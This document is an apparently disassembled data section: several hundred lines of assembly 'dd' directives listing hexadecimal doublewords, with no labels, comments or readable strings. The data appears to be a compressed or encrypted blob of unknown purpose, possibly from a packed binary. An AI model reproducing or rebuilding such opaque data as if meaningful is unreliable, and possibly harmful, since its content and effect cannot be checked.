dd 0DB5C9859h, 20BC2676h, 6D4676h, 5E87050Dh, 963931h
dd 3352E843h, 36E0CEE1h, 0F95B5C00h, 7A32B46Bh, 909262h
dd 0EFECB1A0h, 97BC6441h, 8CEBF12Eh, 0A4C4B08h, 37A15B2Fh
dd 17AF089h, 394C81C5h, 91B1137Dh, 0D1DDD820h, 0BC27008Eh
dd 0F3DC2DF0h, 0DFE2D7E9h, 8CED7B00h, 7F45DDA6h, 486E1843h
dd 9FE49038h, 0DE89E000h, 4427058Fh, 725D675Eh, 0A958575Ah
dd 6F918017h, 53AA6C81h, 2A080F0h, 4E9834CAh, 59249CC9h
dd 0D403DDDh, 81386E60h, 0F996DEDCh, 887C8C61h, 0CE196B32h
dd 925F0210h, 918B0028h, 10B1548Ah, 2DB8206Ch, 3FDDCE12h
dd 7F14BC02h, 4B8C508Dh, 2824484Ch, 0D1A02BC3h, 0D42C15DAh
dd 0A04361B0h, 2B907DECh, 0DB2EA00h, 0D86EE18Eh, 398C764h
dd 8D39A091h, 543EE5C9h, 0F1F054DEh, 6F46AE12h, 0EDF29002h
dd 13C850FDh, 60184907h, 2EE86FA4h, 0C06DF221h, 9DE8971Fh
dd 66DD510Ch, 9439506Ch, 92C98010h, 415BCBC8h, 819A500h
dd 8FF3837Dh, 78E101EFh, 0C3E3FDEAh, 72BC5084h, 59073D80h
dd 0E921BF0Fh, 1967C6h, 0A8884B57h, 0EB7610DEh, 0C3B79200h
dd 0B4FC9C12h, 67720452h, 0A82FEDE3h, 7D5F8110h, 2EC8E695h
dd 0B9FA56h, 8BF6A33Ch, 0B6DDF00Eh, 0A4E2822Ch, 0C8D64240h
dd 0F89CA062h, 0C084AD06h, 1ADEF25Fh, 2226740h, 0FB88059Ah
dd 50C50704h, 1B4C42E2h, 0CF4BC0B5h, 644A229Ch, 97C13C90h
dd 0D3F90029h, 2621B64Bh, 39007C72h, 576D012Eh, 7C24B453h
dd 5E4830E1h, 2CA391D1h, 0D1D7376h, 0BBC710Ch, 1029CE0h
dd 4D5C7F30h, 2EF22873h, 0F0A4A833h, 360202E4h, 564B90EDh
dd 0FD02D0E2h, 9C780876h, 0F9E8010Bh, 618E8BDEh, 6B2E071Ch
dd 16A00020h, 0DCAE9B5Bh, 0FE6E2669h, 648F09F8h, 0B3BBA407h
dd 3B8EE8Ah, 0F938379Ch, 0E0991EA7h, 657FE8CBh, 6054C440h
dd 480CFA82h, 6E4B0C86h, 1E3C1C98h, 6834FD01h, 7BF5DFFAh
dd 2F2A1061h, 2E238Ch, 0C112F6Fh, 2D026C16h, 3A1FB1E1h
dd 6D886864h, 0B5A63C28h, 2DFD2280h, 0D6E2D9F2h, 0F8403826h
dd 0F60A00A4h, 0C820985Ah, 554BBF03h, 0C7B6F261h, 98EC185Dh
dd 3BB8BC4Dh, 12A70900h, 2FAA1003h, 0DE7008B8h, 2B503F63h
dd 0B860100Ah, 3431238h, 0ECE52C0Fh, 52594829h, 2A02F840h
dd 0A6CE95DFh, 37953058h, 986D808Ch, 938911C0h, 0DA4A1F02h
dd 33A65B8h, 0E1CCD75Ch, 0B98C2D48h, 81145A42h, 68703688h
dd 5A6111h, 3E89AEE6h, 8486FE2h, 0EA8C56E8h, 0DF8225D5h
dd 0F465F825h, 8C001D74h, 9D85CFAFh, 5A38A3Bh, 2A8BD203h
dd 0C9A4C0EDh, 0C51C7081h, 0E7C34527h, 0A06E497Bh, 1E8E71AAh
dd 0C1BCEBC2h, 0EF6DCEC3h, 540898ABh, 0BAAD21h, 6BCC49EBh
dd 0DA94E62Ch, 5CF4B711h, 861473Bh, 2088566Eh, 2C0EB1E8h
dd 0A04ED914h, 27497803h, 0FB5701EFh, 709F6FBAh, 0F7D77045h
dd 47B7B006h, 6040B1C9h, 85E7494Fh, 943A4BF2h, 0D1709F28h
dd 0EA46C006h, 88070F21h, 0A6A59A34h, 0ACD9C78Dh, 21C0FE08h
dd 0A8347FAEh, 0F37C24h, 59C72DEFh, 1729F0EDh, 88E7A431h
dd 3083EE1Eh, 73386D69h, 0ED1D7801h, 81D498DBh, 8231C212h
dd 76F50171h, 88FD3C48h, 340079A8h, 0C529B919h, 0FF32F6CEh
dd 0F3EAB450h, 0C8C4A888h, 31F20087h, 0C40DB08Bh, 72370B68h
dd 0EB63286Fh, 705105EDh, 5E5B3Dh, 0F6156C94h, 29C02F2Dh
dd 12B76ECBh, 9161C175h, 60822A96h, 0AF340BEAh, 100009F2h
dd 142A9EB1h, 381C0054h, 0CC0DF268h, 0E500CFA4h, 0EF172B57h
dd 0E6FBB63h, 0A62EF66Eh, 7CE83494h, 1594008Ch, 425440CBh
dd 12303E9Bh, 46A22184h, 376A0F5Bh, 0F0E3228Bh, 11B018E3h
dd 2B0120CFh, 6572DBFEh, 10225A1Bh, 888E62Ah, 6AFB661Ah
dd 67F43002h, 0E8104126h, 0D1D821A1h, 0AC0119FBh, 0A19E742Ch
dd 42DC68ECh, 3C030870h, 0E45009C2h, 0F7315020h, 98A3185Bh
dd 562A6CB0h, 1DDC5E52h, 0A00694E7h, 11AB4Fh, 0C52DB7CAh
dd 0EB92DE31h, 8AE2933h, 702100C0h, 50042DBFh, 9C18E61Bh
dd 3350871Dh, 90F0EE17h, 84EB0C58h, 12188C59h, 9F1D50A0h
dd 27081E0Ah, 2B089C31h, 0EFB80092h, 3A58280Ah, 0A3906664h
dd 0C42DB660h, 3CC63123h, 0BE006DC4h, 7BFF2A2Dh, 13DF1F83h
dd 0FE73D087h, 0D325C400h, 13EB2E5Fh, 4ECBEDB7h, 7989C404h
dd 0EBC02CB0h, 0B346BA7Fh, 0AF0F5B22h, 80C7EBB8h, 31E14211h
dd 0B32D01ABh, 2B3D66C8h, 40C8A86Ch, 942DB946h, 0A21233FCh
dd 207F4062h, 302A9CB3h, 0B7C94C1Ch, 7160E64Dh, 20B8C802h
dd 73D5091Bh, 12007C7Fh, 7DEB811Ah, 50290132h, 0E6ED49Ah
dd 0AE67CD92h, 8AB95007h
dd 0CC98F6ECh, 56FA2500h, 9757966Bh, 904F7DAAh, 1FC14658h
dd 0EEE83483h, 0A7C03091h, 772E347Ah, 744A3732h, 4F5990D9h
dd 4B2853AEh, 0BE469899h, 872A097Ah, 0D81CBAEAh, 2AA1B007h
dd 1FC01B18h, 1C77E61h, 3FEC90E5h, 603A60F6h, 1E8C7D18h
dd 0D1B6EBC4h, 805788D3h, 19EBBCB3h, 9300ADDBh, 29CD8F2Ah
dd 4813E340h, 8A815C65h, 20B1A0EBh, 91ED72ACh, 9787B8B8h
dd 218EFA2Ah, 9FE04E5Ch, 0A6E5C22Ah, 2008B100h, 1790E28Dh
dd 0E9C80B7Bh, 1C1D7349h, 60AB0308h, 4492464Bh, 56750E00h
dd 67F605FCh, 0A4E61F65h, 4C0643Dh, 814D6090h, 18BEFB8h
dd 384B168Ch, 30AAFF84h, 0A89682h, 337ACFD8h, 38F69F5Bh
dd 3F9F4899h, 0E23C6800h, 3E58B5F5h, 9C51BC04h, 0FF88204Eh
dd 809CF9C3h, 1810E59Dh, 0C0899B46h, 302CE458h, 1F67CD9h
dd 8AF27046h, 96C5B0FBh, 203B9748h, 0EB037923h, 0F817E5E4h
dd 6274DB6Ah, 9A4D50B7h, 7E447047h, 6858A960h, 50A5743Eh
dd 0E34C0EE0h, 77A2358h, 0B4B9EBBFh, 0AE38ABh, 29FEBB7h
dd 17FACF16h, 5DE58407h, 0D33270B2h, 3EC008Fh, 0B0C0B5C8h
dd 0ED688A23h, 0E8AC5959h, 6B0B3508h, 3F4C703Eh, 19D2328h
dd 31C22DBCh, 88C318B6h, 2D01C46Bh, 361F3D89h, 0A1E1E425h
dd 94F74421h, 0B1711B06h, 312CA4E6h, 35892483h, 91D097C5h
dd 0CC918054h, 3BBD31C3h, 0EC8203DEh, 6E122841h, 5511A09Dh
dd 0C0C7409Dh, 1E2FA67Bh, 3A194100h, 0D0B86488h, 0CC0C295Eh
dd 187679F0h, 17140716h, 905DCF30h, 4829A7B6h, 50F649h
dd 8805FB2Ah, 0A42555h, 0D2E09384h, 5DCD830Bh, 0A1C48654h
dd 2DB8048Ch, 62D631C6h, 0C06F20C2h, 2601B02Dh, 0B7A3ADB6h
dd 0E98270F2h, 6E059CE5h, 8282BC84h, 9830BD58h, 0EA88132Ah
dd 0E46C39C2h, 34392AA0h, 0F615826h, 20A0C57h, 0E0075C1Fh
dd 0F83F8538h, 0E83120E9h, 96E0C48Dh, 0C6B048h, 576F2A5Fh
dd 1856F8D0h, 424F3FAh, 0A00D60B4h, 544EF1AFh, 26C0C188h
dd 3077EE2h, 395339Dh, 581ABD78h, 51B8E96Ah, 18577144h
dd 0FF5600EEh, 725B17DDh, 9094035Dh, 0F6449C1Eh, 0CF419630h
dd 0D0D29FF9h, 0C0DD40EAh, 2DBA01E3h, 18A631C0h, 0C26988C5h
dd 503E2D00h, 1D0712F1h, 5DDD1FCFh, 0F5F2491Eh, 0B1EC2C2Fh
dd 99009531h, 1C2BC1FAh, 2E884F66h, 0BC90305Fh, 0ACA44DC3h
dd 0A5231C63h, 4F584655h, 5A0071ADh, 5D1E2BA0h, 4D570169h
dd 0B520E087h, 73C3F0E3h, 6C4A8CA0h, 770151DFh, 27050A79h
dd 59D20D8h, 0F48D3B07h, 1906FC2h, 74BC061Ch, 8B706D15h
dd 0EC980E95h, 67D1234h, 90CC38FBh, 69DF2418h, 53EFB738h
dd 7F2388A4h, 0B8EBC607h, 5A62E3F4h, 0EBBEB120h, 65BC001Dh
dd 888D8C1Bh, 48253261h, 0BF0091A9h, 34088918h, 0CE9E7099h
dd 80ADE918h, 0B3CB340Eh, 0FDE3819Dh, 94303233h, 0C11E8C7Ch
dd 46F9BBEBh, 0AC006122h, 0A972EBB9h, 76EC7C26h, 0CC022C2Dh
dd 7B465E7Ch, 0D7670076h, 41103EFAh, 0C3012068h, 17C1E0D8h
dd 0D9C0B78Ah, 0A96C1331h, 39300789h, 0B8C6162Bh, 84F850B0h
dd 0C3745982h, 11A4D96Ch, 18BCF8h, 22CF95B9h, 0D6F250A7h
dd 0F4596017h, 5E104821h, 287166F5h, 0C4885462h, 963484C1h
dd 0C47386F5h, 347BAA81h, 5487F4DFh, 1851E48h, 3DE83C88h
dd 58726EDBh, 0E434F684h, 0E0A701B4h, 0D3605544h, 71FD905h
dd 0F7124DB8h, 91609C30h, 3C3804CFh, 80BA06E0h, 7D0B3134h
dd 851F6802h, 617BE601h, 9B18BCF4h, 0EA252A7Fh, 25496CAh
dd 0C92AA3AEh, 0B8E78279h, 1BAB0442h, 0FE51BAB8h, 3C34200h
dd 9096758Ch, 431800F2h, 35EFD023h, 0FA00493Bh, 57B5B4BDh
dd 1C667CDh, 2BF768FEh, 739CA313h, 3079A2A8h, 0C600E4DCh
dd 0E659D60Eh, 0E1179060h, 3F569C8h, 688B4178h, 18066501h
dd 6711A796h, 60A93E41h, 3853D981h, 0FC2533CBh, 50464A2h
dd 91556CE8h, 7B676081h, 9B03D4h, 0EB68D0D1h, 2FF69269h
dd 0EA496B67h, 40B328A2h, 1D33CD00h, 5C7D042h, 850EF3EFh
dd 0ED808194h, 4A890071h, 275D122Ch, 80100859h, 0D51E33CFh
dd 1038DBD2h, 0EBBD00B0h, 44A79F30h, 0E17DE2D1h, 54E3EA1Ah
dd 0DBB84081h, 2FEC8091h, 465ECC94h, 5C60FFCh, 18ACBF14h
dd 0F56467Eh, 0AF1C9D4Bh, 33F6C4D2h, 604A3888h, 1C05295Fh
dd 22030F18h, 0BA196F03h, 0BCD68862h, 30990281h, 682974E6h
dd 60379CABh, 785EF381h, 59DD1CEAh, 0B20B7DCh, 1B2D7440h
dd 0F6D1D820h, 0BF175FBDh, 34204F75h, 0F8DE9F0Ch, 8DBA24C1h
dd 20050358h, 0F9C889C0h, 0C4FC1B42h, 0D1AE703Fh, 0A2DC6390h
dd 0CF1930C1h, 963CE301h, 0EDE668ABh, 65E86E00h, 0A95BA327h
dd 0E2E8453Ch, 9318AB02h, 1353002Eh, 19BD5540h, 0DD026CECh
dd 12ED626Bh, 494AB6Ah, 9380E54Ch, 6C3FA31h, 11C59ED1h
dd 0FF00216Ch, 1F82293Dh, 19BAD43h, 87C83215h, 33EC2EF4h
dd 30BEA2E0h, 73EC317Bh, 93900CB2h, 0F4A06BFEh, 72494A3Ah
dd 0FA70010h, 92893F5Dh, 0C75EF808h, 0E0839919h, 51DAA858h
dd 7E01DEF6h, 82FA4A6Dh, 1DE0BEAFh, 98B80016h, 9E8168B7h
dd 0C898D90Eh, 5A7150B9h, 4A00FF18h, 9119084Ch, 2DE9E570h
dd 0B01B6A69h, 38619C99h, 0E51060C8h, 0E6FF2757h, 7D009804h
dd 741B00EFh, 0F73608ACh, 18C39616h, 0A625A4E5h, 0B77A0C38h
dd 9E403A39h, 0B905A8ACh, 0AE31BF2Dh, 6A07888Eh, 10F32DC1h
dd 1031F4D1h, 0ADB59D01h, 6699C432h, 4262B642h, 79805924h
dd 674187Eh, 0CD7C8034h, 112AA87Dh, 492AD04Eh, 9B02946Fh
dd 64991568h, 65F4E1FBh, 80369210h, 0E5102701h, 0D7D0F8A1h
dd 77F17C78h, 0ECF02872h, 0E1028CBDh, 0DCDBED26h, 19E478D2h
dd 0F8742F5Dh, 0A9A460F2h, 19BE30CBh, 0D4E8F800h, 0D90703F9h
dd 4DD2FE82h, 9879C5C0h, 6903F205h, 0F4497BF3h, 8560104Fh
dd 9B1E1C2Ch, 3815C094h, 37C31AA5h, 1F1C5007h, 0EDF35333h
dd 0C73AF43h, 99E802F8h, 668D656Ah, 6BF0908Ch, 3151B661h
dd 0A82CD7EFh, 71764719h, 85EEEC63h, 0F6F9BEFCh, 28B1C466h
dd 67185471h, 0F4112503h, 1137641Fh, 22170B70h, 463090BEh
dd 348502C3h, 0E77E7095h, 7CA9008Ch, 0D77A4B34h, 0CBD3A600h
dd 2EC7B4DFh, 4F74AB2Dh, 23A82FA9h, 0EAC6007Fh, 3829CD55h
dd 8C0B8E0h, 7704D8F7h, 9D8425EBh, 1F313C00h, 0B4A2FDA0h
dd 9C9134DBh, 0C12DBB80h, 448CBE31h, 0C3036CBFh, 0B8F68B2Dh
dd 0DA319A74h, 0FB6A1110h, 36CD0F2Ch, 70A83E3Dh, 0A8612900h
dd 47AB450Dh, 57A0A8F8h, 1FD11E05h, 0D31300C7h, 20818861h
dd 153ACF07h, 3560E844h, 532EF673h, 0BA2394D0h, 832A9501h
dd 70639AEAh, 2A9DB480h, 5570F08Bh, 8AF51F09h, 5C3C02D5h
dd 39F08003h, 0AA66F17Ch, 8B5C194h, 6418ACh, 77D55A0Fh
dd 9F746333h, 39DCAC9Ch, 8F5C5BCEh, 0BED4E17h, 50E1BAFEh
dd 90C9B10Bh, 0FE031534h, 77CC3AC5h, 11D4268Ch, 8674414Ch
dd 0C9DFE4A3h, 0B3675603h, 0F8AD8A4Eh, 29AE181h, 0A9633B4Ah
dd 6851BF4Fh, 96180179h, 4B834202h, 0E0ACD250h, 81B980F0h
dd 990BD34Fh, 802AAE8Ah, 0D5A70219h, 0E0F000E2h, 26112824h
dd 8A38B564h, 38CA30FBh, 0BBE30EC6h, 516978A4h, 0B7B82A01h
dd 1B66109Fh, 0FA79F068h, 2F025A9Dh, 802354h, 904B3BC8h
dd 40491733h, 44F425A0h, 672D10F8h, 48EC3B61h, 3B280BC4h
dd 0B68C3ACh, 519B6010h
dd 34E540C2h, 18AB02E2h, 5B008B77h, 62D6A865h, 59E632h
dd 5DF039D3h, 0D0A23897h, 0DDC23B17h, 5480049Bh, 37ECE79Dh
dd 0BF5D661Fh, 467C842Ch, 4CEE0080h, 0FF281684h, 0E0185827h
dd 6775984h, 2010725Ah, 102D8815h, 912C17E2h, 909C805Bh
dd 17C7824h, 3E148BAFh, 24B44FA1h, 1A7FA63Ch, 0EF069B90h
dd 0D814DD39h, 84B92078h, 0C04D870Ah, 7B00DFF6h, 5BF4B7C8h
dd 3AAA5AE9h, 3562374h, 8486FBC5h, 171CC0E4h, 0C8BE45DAh
dd 0B6696A06h, 8C68D699h, 8040193Ch, 1A49964h, 0B236EFCFh
dd 0A9208BE3h, 9C08C66Bh, 624656C0h, 4FA0B006h, 76C081BBh
dd 0A84D5B05h, 5DDE00B1h, 7C419ACFh, 130050AEh, 727FB98Ch
dd 926C8F65h, 709909A0h, 0F058AF35h, 0EB473209h, 0CDCD80B7h
dd 4C6A541Fh, 0D382F471h, 34C4C01Eh, 92D13E38h, 5817DCA3h
dd 63C84CCBh, 0F652F7C0h, 44109530h, 0B8406403h, 0EFB718BFh
dd 53F93173h, 0C7D5A20Bh, 0E64C8212h, 74BC2A1Bh, 62000446h
dd 0B5B06C85h, 0C507E859h, 16AC1E6Dh, 0F710220Bh, 7C645CEEh
dd 3D41FF44h, 1200C351h, 89C255A9h, 28074585h, 0C1830610h
dd 11B52900h, 3B12C001h, 0CD860FD9h, 52028FE1h, 11BDE68Bh
dd 665F0F1Eh, 5E5ED98Ch, 0F61470A1h, 0F1804C1h, 89358A84h
dd 3335308Dh, 0C995FF1Eh, 0E90C0D63h, 51231708h, 488400FAh
dd 5B674AE3h, 0E8166A63h, 20230E03h, 8940C359h, 8104244Ch
dd 1A084466h, 0A1D7C021h, 0C293F10Ch, 89EB3803h, 3F2A81BDh
dd 1F62B6Ch, 338F82EFh, 0B2343D31h, 2C35DE7Fh, 398C5076h
dd 8911C358h, 80168844h, 1EC35040h, 890DCAF3h, 0DB12D9B5h
dd 9DB32907h, 31850CF1h, 8BFD6185h, 536EC064h, 0C8C35B61h
dd 448C5C89h, 53004319h, 14668BC3h, 0A14F82D9h, 75BE09C6h
dd 2ED81C65h, 201C2362h, 150A04DBh, 802D563Ch, 0B185C7BBh
dd 3B3BBC9h, 10507275h, 34222972h, 0D53AC65Fh, 0C5071B23h
dd 68607743h, 28C03B55h, 3D2C9D09h, 0C5F0BD81h, 4407D00Ch
dd 342885D3h, 14239C2Eh, 0BD09D101h, 44241659h, 0B232A385h
dd 290680B5h, 9120CD8Dh, 64319056h, 5A615274h, 5489C8C3h
dd 4217448Ch, 0CBC35201h, 2BB32EADh, 8213A920h, 1561A102h
dd 81669000h, 99AE32F6h, 5D305562h, 4689E4C3h, 1D226Ch
dd 8DC35545h, 4A3036BDh, 0AB135601h, 0E9F5DACDh, 98009B57h
dd 0E1689E1h, 60B471A9h, 0F2BB6621h, 6BAD0D6h, 8F0FA61Bh
dd 3161802Dh, 7C533B5h, 1AB28DABh, 0AE903h, 0B7225A25h
dd 0FCA6EA0Eh, 4D26137Dh, 0A9122361h, 0E5BD4521h, 208BE3A8h
dd 52772F8Dh, 1F4975FAh, 0E279421Fh, 6FF3016h, 0BD31FD06h
dd 0C4A084Dh, 9B3BF66h, 398C5650h, 8913C35Eh, 461A3874h
dd 61C35600h, 4BB4B241h, 6736487Bh, 8C19E8h, 3B3FA7F3h
dd 0FE84E22h, 0CE631DC0h, 371244h, 39F19231h, 0FADEE6C7h
dd 6604307Dh, 0F9BD4EBEh, 0DF8BA3C3h, 22E9FE20h, 0A3FF71F8h
dd 0F01BA96h, 4EBC1E2h, 5E53D490h, 0E950F3F4h, 0B4007D36h
dd 69B703ECh, 9D586Fh, 0FEA92DA6h, 858D8C87h, 4640B949h
dd 7C26F093h, 64AC09A0h, 1A312B5Ch, 0E43390h, 6CF84A6Ah
dd 3F64B4F5h, 0EDC850A4h, 3E1A5071h, 11050DBFh, 4E0E41A7h
dd 0C01D88ACh, 0C2FE6AAFh, 8CF03502h, 6074CA20h, 24EA5DEFh
dd 8472794h, 0FC3006BDh, 911413D8h, 1919D9E3h, 80FEF8C9h
dd 0EDBEF785h, 7DBD120Ch, 1D660823h, 5C08305h, 51258430h
dd 0D0630264h, 507DEA3Fh, 89F8F180h, 86C82404h, 0C35FC357h
dd 387CF497h, 0C3570147h, 9B973921h, 959120BFh, 0AA1F8D29h
dd 0EC8B4C39h, 0DE7C8C15h, 0A1852909h, 197A9032h, 2599841Dh
dd 0FD181571h, 0EE9D518h, 1C7A115h, 76FCDB5Eh, 0C0304CD9h
dd 0A70031D2h, 0D89D8DDDh, 0C60613AFh, 852F91D2h, 0BC2BD359h
dd 84C20127h, 0ABC5A7A9h, 6EE60AFh, 9CF8188h, 271F857Ah
dd 1419FF82h, 13C40305h, 405D5D8Ch, 984DE929h, 43E837A3h
dd 0ED81C20Fh, 1D274AE2h, 801D11B9h, 67489FBBh, 0D6303A52h
dd 5E86493h, 8F2DC606h, 4686087Dh, 8BF90101h, 640BA59Dh
dd 7A0EEF94h, 0CE271B4Dh, 9F010BE3h, 801D1163h, 11F9A9EEh
dd 0E9FD05CFh, 42A7187h, 513D988h, 0C382DB0Bh, 0A6971A94h
dd 58821611h, 776232A6h, 83F78980h, 125122BDh, 84EC8DA8h
dd 88D83111h, 8B0DC102h, 0A067E9FBh, 5F2E970Fh, 1E2051A8h
dd 2A2CFBDCh, 13154674h, 0A8012E32h, 3D950160h, 4A04C155h
dd 61031D15h, 357527E9h, 880B1260h, 0CC569Dh, 4FD66171h
dd 0F266C13Ah, 0FDBF7B02h, 93786099h, 81408453h, 9EBA44DFh
dd 41836848h, 88B94FE9h, 33B6C718h, 60AA8319h, 2AF91BC0h
dd 0A6E1B38Bh, 23810EC1h, 0E95CFEFFh, 18147134h, 2989A003h
dd 8C66801Fh, 1067DB5Ch, 0F61230E5h, 0A0FD83C3h, 0BC36394Dh
dd 218E037Eh, 2C20DEECh, 2D016212h, 404E1FDDh, 0B9C01C88h
dd 0C1D43Bh, 0C93FB78h, 0B501FCABh, 2E3ED14Dh, 5D609E90h
dd 16B1C880h, 0A03276Eh, 40FDE866h, 0EE194587h, 2813AD00h
dd 622717ECh, 0F8B40129h, 0D3B952A6h, 0E6622E9h, 3F8653h
dd 64EE9E0Bh, 8A440006h, 0D017DA9h, 5F184D7Eh, 602F05E9h
dd 63CA1EF9h, 0E12F9A1Eh, 0B8E04CCDh, 2420D9D2h, 11A83011h
dd 22E04C08h, 61602402h, 0D32406A9h, 310A10B0h, 8802418Dh
dd 2E006222h, 0EDFDEB2Ch, 7831778h, 723902E1h, 54F923B5h
dd 70E661E0h, 255CF9B8h, 0FF08965Ch, 71E40B0Fh, 1A117D1Dh
dd 26C4F80h, 0F6248296h, 85087125h, 0B60F0128h, 0DABAF9D8h
dd 0FD9F5071h, 12C3EEA2h, 86F1BD33h, 25203E6Ah, 0E8C11305h
dd 23E33A04h, 0E0EF001Ah, 0FA6E9A01h, 118C2048h, 0F7020D65h
dd 0D82BF5E2h, 17448047h, 97A26560h, 8B93DA04h, 0A98750F0h
dd 0F825BD08h, 0F288589Ah, 0C9CE6EB7h, 0E85EDC12h, 9700E491h
dd 5C797D11h, 0D64300AEh, 58B12AE9h, 3902A23Fh, 7F5A10D2h
dd 708402Dh, 95E48AAh, 5F928B25h, 936DF109h, 0CC2BC2C1h
dd 8A063D20h, 21CD9B02h, 0BE030F44h, 5D2941Dh, 4841EA31h
dd 13613CC9h, 40AA830Fh, 66EE81F2h, 70496407h, 6A424900h
dd 26B0549h, 5A1FC16Bh, 0FB4955BAh, 612E0944h, 0C0001B23h
dd 20302C6Dh, 0DDB3248Eh, 7444A420h, 0B8001846h, 45D4AF0Dh
dd 0E6128166h, 1D5D69D6h, 0BB8ECEC1h, 22200BB4h, 0E0D0F260h
dd 5A3E078Dh, 0A461FE8Ah, 0D4B48753h, 8B5E031Eh, 4358E2F9h
dd 0FC5AED02h, 0DFB853Eh, 1AC80CCFh, 28DEA0CFh, 308D7F1h
dd 5CBB60B4h, 66D02E12h, 42F588BAh, 14648CD0h, 0B0CE930h
dd 0A55052h, 7C4DA4D2h, 78B92931h, 0B1990373h, 41BD2B06h
dd 0C1832CAFh, 1C4676E0h, 0A9A7CD00h, 13335250h, 0F919616h
dd 0BE003F97h, 0E1511526h, 0A8526769h, 86E4Ah, 309640FCh
dd 960E8EAh, 10B19D23h, 8E7A99CAh, 250F6144h, 451AF1BFh
dd 317D4782h, 381197D3h, 0B3B77B76h, 5BF80575h, 75ED0EF5h
dd 32C32D11h, 60510061h, 0B281BD29h, 48B2EEC9h, 0D33831B1h
dd 4A61E41Ch, 853505E9h, 0A5C08BF9h, 0C18F201Eh, 5C602141h
dd 0BB49A75h, 18D6D51Bh, 1180FAB7h, 9D89F188h, 341C5A81h
dd 8806CB7Fh, 2BF3C01Bh, 0F50A11DFh, 0A6D052C7h, 4530550Bh
dd 0BBBE601Ch, 7C4F66C4h, 7156FF32h, 0DC010ED9h, 682BCE00h
dd 0BE3879AFh, 54CA07F8h, 0B5B25FA4h, 0F17ED269h, 0F548C436h
dd 8C19E8h, 79C1B7CBh
dd 8E0F1608h, 30661FA1h, 8D1389FDh, 0E8292A01h, 799F488h
dd 0E8A49014h, 97098C16h, 5603EC8h, 0A0507159h, 84510D1h
dd 580CB87Dh, 0B3801DE9h, 0FF90D43Ch, 9C00C1FEh, 33EC0439h
dd 0F6D1505h, 0F976DC6Fh, 3202F8C9h, 0F366890Fh, 20DBD19h
dd 1EC59563h, 1BE2E073h, 0FEF0BA31h, 0E94E0A2Fh, 892ACB2h
dd 23020FE5h, 0F2151BDh, 360140F4h, 8D0703FCh, 88964E65h
dd 0D564C117h, 2A61F260h, 9D041423h, 8852EDBDh, 8D03A609h
dd 0FFB9F68Eh, 0F1FBB8C3h, 0AF90120h, 9373CB3Dh, 0D8BC21E4h
dd 0EBB9FC61h, 0BF1815D1h, 0F88B3F13h, 0DA80929Bh, 7436998Bh
dd 4F20B71Eh, 0E11828A4h, 5AE95ECBh, 0D1411084h, 148C14E8h
dd 0B5C18B2Dh, 8C1CE8h, 0A02A9E2Fh, 0BCEE264Ah, 1073B058h
dd 354F0EEDh, 49250481h, 0A8E62411h, 46D1B5A0h, 77337616h
dd 0C620908Dh, 61578908h, 5F3A016Dh, 4DE13C50h, 0CBBCA5h
dd 99BC4D64h, 85892381h, 584AB15Dh, 67D52A56h, 40EF9F8Dh
dd 0BA7F7122h, 535E174Fh, 0DCE40088h, 19B501EFh, 5C357DBCh
dd 4600BE6Fh, 9190C682h, 8404E4B2h, 20959D01h, 0F3053109h
dd 81B9A419h, 8D3C1D41h, 905F5709h, 50F96B80h, 0A70CBE60h
dd 14737204h, 0A7617FDAh, 671944AAh, 85FA1500h, 20C95A67h
dd 63490FC0h, 7674E702h, 736AF941h, 4D757846h, 17BF433Ah
dd 0A717D534h, 81953021h, 6A2E7378h, 3C01F45Dh, 82CABEBBh
dd 2AFCCF22h, 75F35A8Bh, 0A085F6C3h, 0B7176E4h, 4626B26Bh
dd 0CDEEB54Ch, 8C421646h, 4C321BE2h, 43E42621h, 0C4C51687h
dd 3EAFF322h, 0DB13433h, 0D108D982h, 1D8B62A9h, 60A36D12h
dd 306410DCh, 66268802h, 0D1BB67BFh, 0A19DE4A5h, 0B8B53986h
dd 0AB4F0DCDh, 0CDF095E9h, 0B22B031Ah, 31A9A785h, 84427DE5h
dd 0EF419D8Bh, 0A58CC010h, 0A10C0396h, 1D10E999h, 45E6587Bh
dd 0B99C4100h, 0A2B32535h, 7C74E505h, 6B33AEEh, 870F5606h
dd 0BF023B05h, 3D9AC002h, 43E8D25Eh, 0ACA349B4h, 0A6F40156h
dd 0E81B36D6h, 7D1D8313h, 0AB9520h, 0D2B7C642h, 8C44B0EEh
dd 8209D47Dh, 44F96A10h, 0B6340045h, 5E2B1928h, 0A32DBD83h
dd 3109911Bh, 0DE75A3ACh, 0AE957504h, 51820960h, 7D8B0B0Dh
dd 5E5E7004h, 0C7F0BF42h, 4A3E8B85h, 0E04C4D29h, 21AC0BDEh
dd 0E9536208h, 0F78B8A2Bh, 0FC104E32h, 143A8C15h, 8D5F124Ch
dd 0E6813430h, 0A65516BFh, 2AF99D4Fh, 8F04606Ah, 8157D236h
dd 6905D177h, 118D8FFCh, 1CAE82C8h, 0EBE43740h, 0DC330315h
dd 0A5D28C1Ah, 4E2AC4A8h, 0E5087E02h, 59304822h, 7E19A5D8h
dd 0F2C39E8h, 0C0DB6FE2h, 69DADDB5h, 0CFB803B4h, 286AC9Ah
dd 32C19DB2h, 80E72853h, 0F1C6E5A4h, 387B0005h, 0A067360Ah
dd 6C2FF761h, 5FC9828Ah, 0B949C05Eh, 0A1880965h, 0AA47610Bh
dd 1C621444h, 2E4098F0h, 3D024E9h, 1D467C5Ch, 7431500h
dd 19BCCD4Dh, 99E0D716h, 8356E800h, 7DD3B860h, 233F0972h
dd 0DB40E18Dh, 66E0B061h, 32CF810Ch, 4F29900Fh, 1DD7E23h
dd 897754BBh, 0E02C15BDh, 0C1F76267h, 8B71E459h, 441DA166h
dd 6912C4C9h, 26C9F61Ah, 384010E9h, 0DB737h, 8CC25F64h
dd 7533DC1Ah, 47894000h, 0B2C4EC8h, 7FC3588Bh, 8C1CE8h
dd 0D4059A4h, 13607AC7h, 0E3E9CDEBh, 0FEEF2501h, 23FC568Dh
dd 0AD046F8h, 37616078h, 0C83B3DB0h, 9BEE154Fh, 2E13C7BCh
dd 0E8C58A45h, 5F99504h, 0FB897B1Eh, 6C18D82Bh, 4500FCA0h
dd 0BDC007E0h, 568A8Bh, 0C9474053h, 0F4A9B64h, 58A28352h
dd 0F75D2AE5h, 7EBF5DA0h, 11EBAA02h, 56241C89h, 723ADC03h
dd 9D09099Bh, 5B2CC259h, 25C4316Fh, 0CF45392Fh, 0D6D8489h
dd 2C47B009h, 0E0631544h, 0EF2980C4h, 54902CF3h, 570307B4h
dd 1636056Ah, 0CC278566h, 2412207h, 5B5DF830h, 0C50521AFh
dd 0AF261D31h, 3C9302F1h, 564450C6h, 1CB18FA0h, 0E5425E81h
dd 79134AFEh, 0AA990179h, 0FED20210h, 0F8E6C980h, 5924798h
